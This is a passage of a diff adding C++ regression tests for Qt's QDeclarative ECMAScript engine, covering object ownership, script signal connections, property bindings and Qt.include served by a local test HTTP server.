+ QDeclarativeComponent component(&engine, TEST_FILE("invokableObjectArg.qml"));
+
+ QObject *o = component.create();
+ QVERIFY(o);
+ MyQmlObject *qmlobject = qobject_cast<MyQmlObject *>(o);
+ QVERIFY(qmlobject);
+ QCOMPARE(qmlobject->myinvokableObject, qmlobject);
+
+ delete o;
+}
+
+// QTBUG-13047 (check that you can return registered object types from methods)
+void tst_qdeclarativeecmascript::invokableObjectRet()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("invokableObjectRet.qml"));
+
+ QObject *o = component.create();
+ QVERIFY(o);
+ QCOMPARE(o->property("test").toBool(), true);
+ delete o;
+}
+
+// QTBUG-5675
+void tst_qdeclarativeecmascript::listToVariant()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("listToVariant.qml"));
+
+ MyQmlContainer container;
+
+ QDeclarativeContext context(engine.rootContext());
+ context.setContextObject(&container);
+
+ QObject *object = component.create(&context);
+ QVERIFY(object != 0);
+
+ QVariant v = object->property("test");
+ QCOMPARE(v.userType(), qMetaTypeId<QDeclarativeListReference>());
+ QVERIFY(qvariant_cast<QDeclarativeListReference>(v).object() == &container);
+
+ delete object;
+}
+
+// QTBUG-7957
+void tst_qdeclarativeecmascript::multiEngineObject()
+{
+ MyQmlObject obj;
+ obj.setStringProperty("Howdy planet");
+
+ QDeclarativeEngine e1;
+ e1.rootContext()->setContextProperty("thing", &obj);
+ QDeclarativeComponent c1(&e1, TEST_FILE("multiEngineObject.qml"));
+
+ QDeclarativeEngine e2;
+ e2.rootContext()->setContextProperty("thing", &obj);
+ QDeclarativeComponent c2(&e2, TEST_FILE("multiEngineObject.qml"));
+
+ QObject *o1 = c1.create();
+ QObject *o2 = c2.create();
+
+ QCOMPARE(o1->property("test").toString(), QString("Howdy planet"));
+ QCOMPARE(o2->property("test").toString(), QString("Howdy planet"));
+
+ delete o2;
+ delete o1;
+}
+
+// Test that references to QObjects are cleanup when the object is destroyed
+void tst_qdeclarativeecmascript::deletedObject()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("deletedObject.qml"));
+
+ QObject *object = component.create();
+
+ QCOMPARE(object->property("test1").toBool(), true);
+ QCOMPARE(object->property("test2").toBool(), true);
+ QCOMPARE(object->property("test3").toBool(), true);
+ QCOMPARE(object->property("test4").toBool(), true);
+
+ delete object;
+}
+
+void tst_qdeclarativeecmascript::attachedPropertyScope()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("attachedPropertyScope.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ MyQmlAttachedObject *attached =
+ qobject_cast<MyQmlAttachedObject *>(qmlAttachedPropertiesObject<MyQmlObject>(object));
+ QVERIFY(attached != 0);
+
+ QCOMPARE(object->property("value2").toInt(), 0);
+
+ attached->emitMySignal();
+
+ QCOMPARE(object->property("value2").toInt(), 9);
+
+ delete object;
+}
+
+void tst_qdeclarativeecmascript::scriptConnect()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptConnect.1.qml"));
+
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), false);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptConnect.2.qml"));
+
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), false);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptConnect.3.qml"));
+
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), false);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptConnect.4.qml"));
+
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->methodCalled(), false);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->methodCalled(), true);
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptConnect.5.qml"));
+
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->methodCalled(), false);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->methodCalled(), true);
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptConnect.6.qml"));
+
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toInt(), 0);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toInt(), 2);
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativeecmascript::scriptDisconnect()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptDisconnect.1.qml"));
+
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toInt(), 0);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toInt(), 1);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toInt(), 2);
+ emit object->basicSignal();
+ QCOMPARE(object->property("test").toInt(), 2);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toInt(), 2);
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptDisconnect.2.qml"));
+
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toInt(), 0);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toInt(), 1);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toInt(), 2);
+ emit object->basicSignal();
+ QCOMPARE(object->property("test").toInt(), 2);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toInt(), 2);
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptDisconnect.3.qml"));
+
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toInt(), 0);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toInt(), 1);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toInt(), 2);
+ emit object->basicSignal();
+ QCOMPARE(object->property("test").toInt(), 2);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toInt(), 3);
+
+ delete object;
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptDisconnect.4.qml"));
+
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toInt(), 0);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toInt(), 1);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toInt(), 2);
+ emit object->basicSignal();
+ QCOMPARE(object->property("test").toInt(), 2);
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->property("test").toInt(), 3);
+
+ delete object;
+ }
+}
+
+class OwnershipObject : public QObject
+{
+ Q_OBJECT
+public:
+ OwnershipObject() { object = new QObject; }
+
+ QPointer<QObject> object;
+
+public slots:
+ QObject *getObject() { return object; }
+};
+
+void tst_qdeclarativeecmascript::ownership()
+{
+ OwnershipObject own;
+ QDeclarativeContext *context = new QDeclarativeContext(engine.rootContext());
+ context->setContextObject(&own);
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("ownership.qml"));
+
+ QVERIFY(own.object != 0);
+
+ QObject *object = component.create(context);
+ QDeclarativeEnginePrivate::getScriptEngine(&engine)->collectGarbage();
+
+ QCoreApplication::processEvents(QEventLoop::DeferredDeletion);
+
+ QVERIFY(own.object == 0);
+
+ delete object;
+ }
+
+ own.object = new QObject(&own);
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("ownership.qml"));
+
+ QVERIFY(own.object != 0);
+
+ QObject *object = component.create(context);
+ QDeclarativeEnginePrivate::getScriptEngine(&engine)->collectGarbage();
+
+ QCoreApplication::processEvents(QEventLoop::DeferredDeletion);
+
+ QVERIFY(own.object != 0);
+
+ delete object;
+ }
+}
+
+class CppOwnershipReturnValue : public QObject
+{
+ Q_OBJECT
+public:
+ CppOwnershipReturnValue() : value(0) {}
+ ~CppOwnershipReturnValue() { delete value; }
+
+ Q_INVOKABLE QObject *create() {
+ value = new QObject;
+ QDeclarativeEngine::setObjectOwnership(value, QDeclarativeEngine::CppOwnership);
+ return value;
+ }
+
+ Q_INVOKABLE MyQmlObject *createQmlObject() {
+ MyQmlObject *rv = new MyQmlObject;
+ value = rv;
+ return rv;
+ }
+
+ QPointer<QObject> value;
+};
+
+// QTBUG-15695.
+// Test setObjectOwnership(CppOwnership) works even when there is no QDeclarativeData
+void tst_qdeclarativeecmascript::cppOwnershipReturnValue()
+{
+ CppOwnershipReturnValue source;
+
+ {
+ QDeclarativeEngine engine;
+ engine.rootContext()->setContextProperty("source", &source);
+
+ QVERIFY(source.value == 0);
+
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0\nQtObject {\nComponent.onCompleted: { var a = source.create(); }\n}\n", QUrl());
+
+ QObject *object = component.create();
+
+ QVERIFY(object != 0);
+ QVERIFY(source.value != 0);
+
+ delete object;
+ }
+
+ QCoreApplication::instance()->processEvents(QEventLoop::DeferredDeletion);
+
+ QVERIFY(source.value != 0);
+}
+
+// QTBUG-15697
+void tst_qdeclarativeecmascript::ownershipCustomReturnValue()
+{
+ CppOwnershipReturnValue source;
+
+ {
+ QDeclarativeEngine engine;
+ engine.rootContext()->setContextProperty("source", &source);
+
+ QVERIFY(source.value == 0);
+
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0\nQtObject {\nComponent.onCompleted: { var a = source.createQmlObject(); }\n}\n", QUrl());
+
+ QObject *object = component.create();
+
+ QVERIFY(object != 0);
+ QVERIFY(source.value != 0);
+
+ delete object;
+ }
+
+ QCoreApplication::instance()->processEvents(QEventLoop::DeferredDeletion);
+
+ QVERIFY(source.value == 0);
+}
+
+class QListQObjectMethodsObject : public QObject
+{
+ Q_OBJECT
+public:
+ QListQObjectMethodsObject() {
+ m_objects.append(new MyQmlObject());
+ m_objects.append(new MyQmlObject());
+ }
+
+ ~QListQObjectMethodsObject() {
+ qDeleteAll(m_objects);
+ }
+
+public slots:
+ QList<QObject *> getObjects() { return m_objects; }
+
+private:
+ QList<QObject *> m_objects;
+};
+
+// Tests that returning a QList<QObject*> from a method works
+void tst_qdeclarativeecmascript::qlistqobjectMethods()
+{
+ QListQObjectMethodsObject obj;
+ QDeclarativeContext *context = new QDeclarativeContext(engine.rootContext());
+ context->setContextObject(&obj);
+
+ QDeclarativeComponent component(&engine, TEST_FILE("qlistqobjectMethods.qml"));
+
+ QObject *object = component.create(context);
+
+ QCOMPARE(object->property("test").toInt(), 2);
+ QCOMPARE(object->property("test2").toBool(), true);
+
+ delete object;
+}
+
+// QTBUG-9205
+void tst_qdeclarativeecmascript::strictlyEquals()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("strictlyEquals.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test1").toBool(), true);
+ QCOMPARE(object->property("test2").toBool(), true);
+ QCOMPARE(object->property("test3").toBool(), true);
+ QCOMPARE(object->property("test4").toBool(), true);
+ QCOMPARE(object->property("test5").toBool(), true);
+ QCOMPARE(object->property("test6").toBool(), true);
+ QCOMPARE(object->property("test7").toBool(), true);
+ QCOMPARE(object->property("test8").toBool(), true);
+
+ delete object;
+}
+
+void tst_qdeclarativeecmascript::compiled()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("compiled.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test1").toReal(), qreal(15.7));
+ QCOMPARE(object->property("test2").toReal(), qreal(-6.7));
+ QCOMPARE(object->property("test3").toBool(), true);
+ QCOMPARE(object->property("test4").toBool(), false);
+ QCOMPARE(object->property("test5").toBool(), false);
+ QCOMPARE(object->property("test6").toBool(), true);
+
+ QCOMPARE(object->property("test7").toInt(), 185);
+ QCOMPARE(object->property("test8").toInt(), 167);
+ QCOMPARE(object->property("test9").toBool(), true);
+ QCOMPARE(object->property("test10").toBool(), false);
+ QCOMPARE(object->property("test11").toBool(), false);
+ QCOMPARE(object->property("test12").toBool(), true);
+
+ QCOMPARE(object->property("test13").toString(), QLatin1String("HelloWorld"));
+ QCOMPARE(object->property("test14").toString(), QLatin1String("Hello World"));
+ QCOMPARE(object->property("test15").toBool(), false);
+ QCOMPARE(object->property("test16").toBool(), true);
+
+ QCOMPARE(object->property("test17").toInt(), 5);
+ QCOMPARE(object->property("test18").toReal(), qreal(176));
+ QCOMPARE(object->property("test19").toInt(), 7);
+ QCOMPARE(object->property("test20").toReal(), qreal(6.7));
+ QCOMPARE(object->property("test21").toString(), QLatin1String("6.7"));
+ QCOMPARE(object->property("test22").toString(), QLatin1String("!"));
+ QCOMPARE(object->property("test23").toBool(), true);
+ QCOMPARE(qvariant_cast<QColor>(object->property("test24")), QColor(0x11,0x22,0x33));
+ QCOMPARE(qvariant_cast<QColor>(object->property("test25")), QColor(0x11,0x22,0x33,0xAA));
+
+ delete object;
+}
+
+// Test that numbers assigned in bindings as strings work consistently
+void tst_qdeclarativeecmascript::numberAssignment()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("numberAssignment.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test1"), QVariant((qreal)6.7));
+ QCOMPARE(object->property("test2"), QVariant((qreal)6.7));
+ QCOMPARE(object->property("test2"), QVariant((qreal)6.7));
+ QCOMPARE(object->property("test3"), QVariant((qreal)6));
+ QCOMPARE(object->property("test4"), QVariant((qreal)6));
+
+ QCOMPARE(object->property("test5"), QVariant((int)7));
+ QCOMPARE(object->property("test6"), QVariant((int)7));
+ QCOMPARE(object->property("test7"), QVariant((int)6));
+ QCOMPARE(object->property("test8"), QVariant((int)6));
+
+ QCOMPARE(object->property("test9"), QVariant((unsigned int)7));
+ QCOMPARE(object->property("test10"), QVariant((unsigned int)7));
+ QCOMPARE(object->property("test11"), QVariant((unsigned int)6));
+ QCOMPARE(object->property("test12"), QVariant((unsigned int)6));
+
+ delete object;
+}
+
+void tst_qdeclarativeecmascript::propertySplicing()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("propertySplicing.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+}
+
+// QTBUG-16683
+void tst_qdeclarativeecmascript::signalWithUnknownTypes()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("signalWithUnknownTypes.qml"));
+
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ MyQmlObject::MyType type;
+ type.value = 0x8971123;
+ emit object->signalWithUnknownType(type);
+
+ MyQmlObject::MyType result = qvariant_cast<MyQmlObject::MyType>(object->variant());
+
+ QCOMPARE(result.value, type.value);
+
+
+ delete object;
+}
+
+// Test that assigning a null object works
+// Regressed with: df1788b4dbbb2826ae63f26bdf166342595343f4
+void tst_qdeclarativeecmascript::nullObjectBinding()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("nullObjectBinding.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QVERIFY(object->property("test") == QVariant::fromValue((QObject *)0));
+
+ delete object;
+}
+
+// Test that bindings don't evaluate once the engine has been destroyed
+void tst_qdeclarativeecmascript::deletedEngine()
+{
+ QDeclarativeEngine *engine = new QDeclarativeEngine;
+ QDeclarativeComponent component(engine, TEST_FILE("deletedEngine.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("a").toInt(), 39);
+ object->setProperty("b", QVariant(9));
+ QCOMPARE(object->property("a").toInt(), 117);
+
+ delete engine;
+
+ QCOMPARE(object->property("a").toInt(), 117);
+ object->setProperty("b", QVariant(10));
+ QCOMPARE(object->property("a").toInt(), 117);
+
+ delete object;
+}
+
+// Test the crashing part of QTBUG-9705
+void tst_qdeclarativeecmascript::libraryScriptAssert()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("libraryScriptAssert.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ delete object;
+}
+
+void tst_qdeclarativeecmascript::variantsAssignedUndefined()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("variantsAssignedUndefined.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test1").toInt(), 10);
+ QCOMPARE(object->property("test2").toInt(), 11);
+
+ object->setProperty("runTest", true);
+
+ QCOMPARE(object->property("test1"), QVariant());
+ QCOMPARE(object->property("test2"), QVariant());
+
+
+ delete object;
+}
+
+void tst_qdeclarativeecmascript::qtbug_9792()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("qtbug_9792.qml"));
+
+ QDeclarativeContext *context = new QDeclarativeContext(engine.rootContext());
+
+ MyQmlObject *object = qobject_cast<MyQmlObject*>(component.create(context));
+ QVERIFY(object != 0);
+
+ QTest::ignoreMessage(QtDebugMsg, "Hello world!");
+ object->basicSignal();
+
+ delete context;
+
+ transientErrorsMsgCount = 0;
+ QtMsgHandler old = qInstallMsgHandler(transientErrorsMsgHandler);
+
+ object->basicSignal();
+
+ qInstallMsgHandler(old);
+
+ QCOMPARE(transientErrorsMsgCount, 0);
+
+ delete object;
+}
+
+// Verifies that QDeclarativeGuard<>s used in the vmemetaobject are cleaned correctly
+void tst_qdeclarativeecmascript::qtcreatorbug_1289()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("qtcreatorbug_1289.qml"));
+
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QObject *nested = qvariant_cast<QObject *>(o->property("object"));
+ QVERIFY(nested != 0);
+
+ QVERIFY(qvariant_cast<QObject *>(nested->property("nestedObject")) == o);
+
+ delete nested;
+ nested = qvariant_cast<QObject *>(o->property("object"));
+ QVERIFY(nested == 0);
+
+ // If the bug is present, the next line will crash
+ delete o;
+}
+
+// Test that we shut down without stupid warnings
+void tst_qdeclarativeecmascript::noSpuriousWarningsAtShutdown()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("noSpuriousWarningsAtShutdown.qml"));
+
+ QObject *o = component.create();
+
+ transientErrorsMsgCount = 0;
+ QtMsgHandler old = qInstallMsgHandler(transientErrorsMsgHandler);
+
+ delete o;
+
+ qInstallMsgHandler(old);
+
+ QCOMPARE(transientErrorsMsgCount, 0);
+ }
+
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("noSpuriousWarningsAtShutdown.2.qml"));
+
+ QObject *o = component.create();
+
+ transientErrorsMsgCount = 0;
+ QtMsgHandler old = qInstallMsgHandler(transientErrorsMsgHandler);
+
+ delete o;
+
+ qInstallMsgHandler(old);
+
+ QCOMPARE(transientErrorsMsgCount, 0);
+ }
+}
+
+void tst_qdeclarativeecmascript::canAssignNullToQObject()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("canAssignNullToQObject.1.qml"));
+
+ MyQmlObject *o = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(o != 0);
+
+ QVERIFY(o->objectProperty() != 0);
+
+ o->setProperty("runTest", true);
+
+ QVERIFY(o->objectProperty() == 0);
+
+ delete o;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("canAssignNullToQObject.2.qml"));
+
+ MyQmlObject *o = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(o != 0);
+
+ QVERIFY(o->objectProperty() == 0);
+
+ delete o;
+ }
+}
+
+void tst_qdeclarativeecmascript::functionAssignment_fromBinding()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.1.qml"));
+
+ QString url = component.url().toString();
+ QString warning = url + ":4: Unable to assign a function to a property.";
+ QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
+
+ MyQmlObject *o = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(o != 0);
+
+ QVERIFY(!o->property("a").isValid());
+
+ delete o;
+}
+
+void tst_qdeclarativeecmascript::functionAssignment_fromJS()
+{
+ QFETCH(QString, triggerProperty);
+
+ QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.2.qml"));
+ QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString()));
+
+ MyQmlObject *o = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(o != 0);
+ QVERIFY(!o->property("a").isValid());
+
+ o->setProperty("aNumber", QVariant(5));
+ o->setProperty(triggerProperty.toUtf8().constData(), true);
+ QCOMPARE(o->property("a"), QVariant(50));
+
+ o->setProperty("aNumber", QVariant(10));
+ QCOMPARE(o->property("a"), QVariant(100));
+
+ delete o;
+}
+
+void tst_qdeclarativeecmascript::functionAssignment_fromJS_data()
+{
+ QTest::addColumn<QString>("triggerProperty");
+
+ QTest::newRow("assign to property") << "assignToProperty";
+ QTest::newRow("assign to property, from JS file") << "assignToPropertyFromJsFile";
+
+ QTest::newRow("assign to value type") << "assignToValueType";
+
+ QTest::newRow("use 'this'") << "assignWithThis";
+ QTest::newRow("use 'this' from JS file") << "assignWithThisFromJsFile";
+}
+
+void tst_qdeclarativeecmascript::functionAssignmentfromJS_invalid()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.2.qml"));
+ QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString()));
+
+ MyQmlObject *o = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(o != 0);
+ QVERIFY(!o->property("a").isValid());
+
+ o->setProperty("assignFuncWithoutReturn", true);
+ QVERIFY(!o->property("a").isValid());
+
+ QString url = component.url().toString();
+ QString warning = url + ":63: Unable to assign QString to int";
+ QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
+ o->setProperty("assignWrongType", true);
+
+ warning = url + ":70: Unable to assign QString to int";
+ QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
+ o->setProperty("assignWrongTypeToValueType", true);
+
+ delete o;
+}
+
+void tst_qdeclarativeecmascript::eval()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("eval.qml"));
+
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test1").toBool(), true);
+ QCOMPARE(o->property("test2").toBool(), true);
+ QCOMPARE(o->property("test3").toBool(), true);
+ QCOMPARE(o->property("test4").toBool(), true);
+ QCOMPARE(o->property("test5").toBool(), true);
+
+ delete o;
+}
+
+void tst_qdeclarativeecmascript::function()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("function.qml"));
+
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test1").toBool(), true);
+ QCOMPARE(o->property("test2").toBool(), true);
+ QCOMPARE(o->property("test3").toBool(), true);
+
+ delete o;
+}
+
+// Test the "Qt.include" method
+void tst_qdeclarativeecmascript::include()
+{
+ // Non-library relative include
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("include.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test0").toInt(), 99);
+ QCOMPARE(o->property("test1").toBool(), true);
+ QCOMPARE(o->property("test2").toBool(), true);
+ QCOMPARE(o->property("test2_1").toBool(), true);
+ QCOMPARE(o->property("test3").toBool(), true);
+ QCOMPARE(o->property("test3_1").toBool(), true);
+
+ delete o;
+ }
+
+ // Library relative include
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("include_shared.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test0").toInt(), 99);
+ QCOMPARE(o->property("test1").toBool(), true);
+ QCOMPARE(o->property("test2").toBool(), true);
+ QCOMPARE(o->property("test2_1").toBool(), true);
+ QCOMPARE(o->property("test3").toBool(), true);
+ QCOMPARE(o->property("test3_1").toBool(), true);
+
+ delete o;
+ }
+
+ // Callback
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("include_callback.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test1").toBool(), true);
+ QCOMPARE(o->property("test2").toBool(), true);
+ QCOMPARE(o->property("test3").toBool(), true);
+ QCOMPARE(o->property("test4").toBool(), true);
+ QCOMPARE(o->property("test5").toBool(), true);
+ QCOMPARE(o->property("test6").toBool(), true);
+
+ delete o;
+ }
+
+ // Including file with ".pragma library"
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("include_pragma.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ QCOMPARE(o->property("test1").toInt(), 100);
+
+ delete o;
+ }
+
+ // Remote - success
+ {
+ TestHTTPServer server(8111);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/data");
+
+ QDeclarativeComponent component(&engine, TEST_FILE("include_remote.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QTRY_VERIFY(o->property("done").toBool() == true);
+ QTRY_VERIFY(o->property("done2").toBool() == true);
+
+ QCOMPARE(o->property("test1").toBool(), true);
+ QCOMPARE(o->property("test2").toBool(), true);
+ QCOMPARE(o->property("test3").toBool(), true);
+ QCOMPARE(o->property("test4").toBool(), true);
+ QCOMPARE(o->property("test5").toBool(), true);
+
+ QCOMPARE(o->property("test6").toBool(), true);
+ QCOMPARE(o->property("test7").toBool(), true);
+ QCOMPARE(o->property("test8").toBool(), true);
+ QCOMPARE(o->property("test9").toBool(), true);
+ QCOMPARE(o->property("test10").toBool(), true);
+
+ delete o;
+ }
+
+ // Remote - error
+ {
+ TestHTTPServer server(8111);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/data");
+
+ QDeclarativeComponent component(&engine, TEST_FILE("include_remote_missing.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QTRY_VERIFY(o->property("done").toBool() == true);
+
+ QCOMPARE(o->property("test1").toBool(), true);
+ QCOMPARE(o->property("test2").toBool(), true);
+ QCOMPARE(o->property("test3").toBool(), true);
+
+ delete o;
+ }
+}
+
+void tst_qdeclarativeecmascript::qtbug_10696()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("qtbug_10696.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ delete o;
+}
+
+void tst_qdeclarativeecmascript::qtbug_11606()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("qtbug_11606.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ QCOMPARE(o->property("test").toBool(), true);
+ delete o;
+}
+
+void tst_qdeclarativeecmascript::qtbug_11600()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("qtbug_11600.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ QCOMPARE(o->property("test").toBool(), true);
+ delete o;
+}
+
+// Reading and writing non-scriptable properties should fail
+void tst_qdeclarativeecmascript::nonscriptable()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("nonscriptable.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ QCOMPARE(o->property("readOk").toBool(), true);
+ QCOMPARE(o->property("writeOk").toBool(), true);
+ delete o;
+}
+
+// deleteLater() should not be callable from QML
+void tst_qdeclarativeecmascript::deleteLater()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("deleteLater.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ QCOMPARE(o->property("test").toBool(), true);
+ delete o;
+}
+
+void tst_qdeclarativeecmascript::in()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("in.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ QCOMPARE(o->property("test1").toBool(), true);
+ QCOMPARE(o->property("test2").toBool(), true);
+ delete o;
+}
+
+void tst_qdeclarativeecmascript::sharedAttachedObject()
+{
